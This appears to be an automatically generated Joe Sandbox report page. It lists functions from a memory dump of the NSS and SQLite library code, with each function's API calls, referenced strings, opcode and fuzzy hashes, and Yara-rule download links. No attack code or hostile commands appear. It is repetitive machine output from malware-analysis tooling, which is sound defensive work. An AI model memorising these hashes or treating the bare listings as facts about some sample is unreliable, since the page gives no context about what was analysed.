Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: c458c1413bb841aa6514dc7626eaaa8278d44447ba5efa9d346495241bd137be
Instruction ID: ce0580ade687e74ceda4241f375aa74b487c0d2b82855539988fb6294c9c2b97
Opcode Fuzzy Hash: c458c1413bb841aa6514dc7626eaaa8278d44447ba5efa9d346495241bd137be
Instruction Fuzzy Hash: B5623434A06205CFEB14CF64C48479ABBF1BF49318F18419DD9416BB92D735E886CBEA

Function 6C72FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C72FD06

Part of subcall function 6C72F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C72F696
Part of subcall function 6C72F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C72F789
Part of subcall function 6C72F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C72F796
Part of subcall function 6C72F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C72F79F
Part of subcall function 6C72F670: SECITEM_DupItem_Util.NSS3 ref: 6C72F7F0

Part of subcall function 6C753440: PK11_GetAllTokens.NSS3 ref: 6C753481
Part of subcall function 6C753440: PR_SetError.NSS3(00000000,00000000), ref: 6C7534A3
Part of subcall function 6C753440: TlsGetValue.KERNEL32 ref: 6C75352E
Part of subcall function 6C753440: EnterCriticalSection.KERNEL32(?), ref: 6C753542
Part of subcall function 6C753440: PR_Unlock.NSS3(?), ref: 6C75355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C72FDAD

Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C709003,?), ref: 6C75FD91
Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(A4686C76,?), ref: 6C75FDA2
Part of subcall function 6C75FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C76,?,?), ref: 6C75FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C72FE00

Part of subcall function 6C75FD80: free.MOZGLUE(00000000,?,?), ref: 6C75FDD1

Part of subcall function 6C74E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C74E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C72FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C72FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C72FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C72FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C72FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C72FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C730007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C730029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C730044

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: cd5c0b4a1cf703aecc575312fafd8fe8b49c5bab884e653a2ac78b2e0092ca33
Instruction ID: 99eb797430de0041427267366979bf52d30af67e13f0dc942945d97f7a451946
Opcode Fuzzy Hash: cd5c0b4a1cf703aecc575312fafd8fe8b49c5bab884e653a2ac78b2e0092ca33
Instruction Fuzzy Hash: D8B1E371A04311AFE314CF29C944A6BF7E5FF88318F548A2DE99987A41E734E944CB91

Function 6C727D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C727DDC

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C727DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C727F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C727F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C727F98
PK11_FreeSymKey.NSS3(?), ref: 6C727FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C727FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C728000

Part of subcall function 6C749430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C727F0C,?,00000000,00000000,00000000,?), ref: 6C74943B
Part of subcall function 6C749430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C74946B
Part of subcall function 6C749430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C749546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C728110
PK11_FreeSymKey.NSS3(00000000), ref: 6C72811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C72822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C72823C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 80b182c3ad6e61b06abeade53d0ac903fa5f0e0c3aacf57bd25a144a44c3f40c
Instruction ID: 86fb24e81ef6cfefb05e5d56a0bfbb55623a6d0be7f8e1252a167890b2b55b95
Opcode Fuzzy Hash: 80b182c3ad6e61b06abeade53d0ac903fa5f0e0c3aacf57bd25a144a44c3f40c
Instruction Fuzzy Hash: 2CC17EB1D002599FEB21CF14CE44FEAB7B8AF15348F0481E9E81DA6641E7359E85CFA1

Function 6C730EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C730F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C730FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C731006
PK11_FreeSymKey.NSS3(?), ref: 6C73101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C731033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C73103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C731048
memcpy.VCRUNTIME140(?,?,?), ref: 6C73108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7310BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7310D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C73112E

Part of subcall function 6C731570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C7308C4,?,?), ref: 6C7315B8
Part of subcall function 6C731570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C7308C4,?,?), ref: 6C7315C1
Part of subcall function 6C731570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73162E
Part of subcall function 6C731570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C731637

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 2ac75a04001df5fc9ce411f0a7e7e770689f33ac6f678f22e86eb5fc861b5d83
Instruction ID: ca5e420fbe90761841ae87a93c94c774cc33597c16f2cc2f022ea2ead5c0583d
Opcode Fuzzy Hash: 2ac75a04001df5fc9ce411f0a7e7e770689f33ac6f678f22e86eb5fc861b5d83
Instruction Fuzzy Hash: 3A71C0B5A042158FDB00CFA5CE88AAAB7F0BF44318F148638E50D97B12E731D954CB91

Function 6C751CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C751F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C752166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C75228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C7523B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C75241C

Strings

model, xrefs: 6C7523CB, 6C7523EC
manufacturer, xrefs: 6C752179
serial, xrefs: 6C7522A2
token, xrefs: 6C751F2C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 6df907165ba0ec0e847cc2b185ee499f6966c8e76bb5ef45f412c7f96a5b8922
Instruction ID: a9408560b008525a12f46fb5d539e2313477b775380a702d5975fcccc73423e9
Opcode Fuzzy Hash: 6df907165ba0ec0e847cc2b185ee499f6966c8e76bb5ef45f412c7f96a5b8922
Instruction Fuzzy Hash: 800240A2D0C7C86EF7318671C54C7D77AE09B45328F8D167EC5DE46AC3CBA868988391

Function 6C756C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C3F

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C60
PR_ExplodeTime.NSS3(00000000,6C701C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C94

Strings

gfff, xrefs: 6C756CFD
gfff, xrefs: 6C756CF5
gfff, xrefs: 6C756D9C
gfff, xrefs: 6C756D30
gfff, xrefs: 6C756D66

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: db3e68bf4a71967849b5aea855757439aaeacac90a5f8b4cf86ac28410c110bf
Instruction ID: 4fac6f48f468301f2c162d1a3d078b3860656c26098d1308a2c89cf42eba573d
Opcode Fuzzy Hash: db3e68bf4a71967849b5aea855757439aaeacac90a5f8b4cf86ac28410c110bf
Instruction Fuzzy Hash: B0515C72B016494FC70CCDADDC527DAB7DAABA4310F48C23AE842DB785DA78E906C751

Function 6C7D0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C7D1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7D10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D1353

Strings

NULL, xrefs: 6C7D119E
'%.*q', xrefs: 6C7D1217, 6C7D1292
zeroblob(%d), xrefs: 6C7D1223
%02x, xrefs: 6C7D12F6
$, xrefs: 6C7D12A0
-- , xrefs: 6C7D0FF5
%lld, xrefs: 6C7D114B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 7689f5de41d4988e1c26f61d2c6eff65d8edaf3a806826c8c8ee9f8fcbcbb3c8
Instruction ID: 62cd6d86cfc55dbfdd8c91cb33b5fd84d91f734010a7f5649f566accc3c77acc
Opcode Fuzzy Hash: 7689f5de41d4988e1c26f61d2c6eff65d8edaf3a806826c8c8ee9f8fcbcbb3c8
Instruction Fuzzy Hash: 9EE1B071A083409FD710CF18D580A6BBBF1BF86368F16892DE58587B51D771F849CB42

Function 6C7D8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7D8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D9209

Strings

UUUU, xrefs: 6C7D9255
3333, xrefs: 6C7D925E

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 856e19f0ed0406e6eba0ec9702877cf17877784d203b9350fe602de691057f84
Instruction ID: eeb7d49f728434122bb9e40ccf2cbf2f6ff0a7157cc80dd717bc993c70a900cc
Opcode Fuzzy Hash: 856e19f0ed0406e6eba0ec9702877cf17877784d203b9350fe602de691057f84
Instruction Fuzzy Hash: BEA19F72E001159BDB14CB68DD95BAEB7B5AB88324F0A4139E905B7741EB36EC01CBE1

Function 6C690FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C69103E
EnterCriticalSection.KERNEL32(?), ref: 6C691139
LeaveCriticalSection.KERNEL32(?), ref: 6C691190
sqlite3_free.NSS3(00000000), ref: 6C691227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C69126E
sqlite3_free.NSS3(?), ref: 6C69127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C691267
winAccess, xrefs: 6C69129B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: cb8b62e80829efa3c1a162cdf5fb7860fff807ae1903d8d2b72b40455e9905ec
Instruction ID: d95db37d1766cad2631e254f9f0b5904bb399180222b57f412249d300e3db7e3
Opcode Fuzzy Hash: cb8b62e80829efa3c1a162cdf5fb7860fff807ae1903d8d2b72b40455e9905ec
Instruction Fuzzy Hash: DC712B31709212ABEB64DF25DC95AAE3379FB87318F240639E81587A80DB34D845C7DB

Function 6C69AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31,?,?,?,?,?,?,?), ref: 6C69B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31), ref: 6C69B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31), ref: 6C69B0A2
CloseHandle.KERNEL32(?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31,?,?,?,?,?,?,?,?,?), ref: 6C69B100
sqlite3_free.NSS3(?,?,00000002,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31,?,?,?,?,?,?,?), ref: 6C69B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31), ref: 6C69B12D

Part of subcall function 6C689EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C69C6FD,?,?,?,?,6C6EF965,00000000), ref: 6C689F0E
Part of subcall function 6C689EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6EF965,00000000), ref: 6C689F5D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 64dd36e8025769bba12e03fb9c2228b91693802bbdda85edb12d312d446b3f30
Instruction ID: 363c9304fef1736c0c9f4bdd64aa5392c37d448ae1e35f10ba635e896322f203
Opcode Fuzzy Hash: 64dd36e8025769bba12e03fb9c2228b91693802bbdda85edb12d312d446b3f30
Instruction Fuzzy Hash: E791DDB0E042068FDB24CF25C984ABBB7F1FF86308F14462DE41697A51EB35E845CB99

Function 6C76BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C76BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C76BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C76BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C76BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C76BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C76BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C76BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C76BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C76BE1E

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 2eae1f969210aedc8c3e1539ddbbd4e7e5e4d041f25c21f7885dfe3be1a642c6
Instruction ID: e2db0adedac29593919f4952ef9454320226c749b0d03372dafde3b20a55a21c
Opcode Fuzzy Hash: 2eae1f969210aedc8c3e1539ddbbd4e7e5e4d041f25c21f7885dfe3be1a642c6
Instruction Fuzzy Hash: 512193BAE1439957FB004657DE4BB8B36789B93B4DF080134FD16BEE42E710B41886A6

Function 6C818D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8614E4,6C7CCC70), ref: 6C818D47
PR_GetCurrentThread.NSS3 ref: 6C818D98

Part of subcall function 6C6F0F00: PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B
Part of subcall function 6C6F0F00: PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C818E7B
htons.WSOCK32(?), ref: 6C818EDB
PR_GetCurrentThread.NSS3 ref: 6C818F99
PR_GetCurrentThread.NSS3 ref: 6C81910A

Strings

%u.%u.%u.%u, xrefs: 6C818E74

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 4f215e7b293a90f0689375ed7dcaa36962088ae79c7b065fc2254cedba63d74c
Instruction ID: b4ac21e3e21f144f9e0da6ac0485e533da5aaf698afd4e25aa20a70be083ff59
Opcode Fuzzy Hash: 4f215e7b293a90f0689375ed7dcaa36962088ae79c7b065fc2254cedba63d74c
Instruction Fuzzy Hash: EB02CB329092578FDB24CF19C568366BBF3EF42314F1A8B9AC8915BE91C339D985C790

Function 6C69EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

table, xrefs: 6C69F05C, 6C69FABC, 6C69FAC7
%s %T already exists, xrefs: 6C69FAC8
sqlite_temp_master, xrefs: 6C69F0A6, 6C69F2D5
authorizer malfunction, xrefs: 6C69F95C, 6C69F9BF, 6C69FA5E, 6C69FA8B
sqlite_master, xrefs: 6C69F0AB, 6C69F2DA, 6C69F757, 6C69F93E
view, xrefs: 6C69F061, 6C69F071, 6C69FAB7
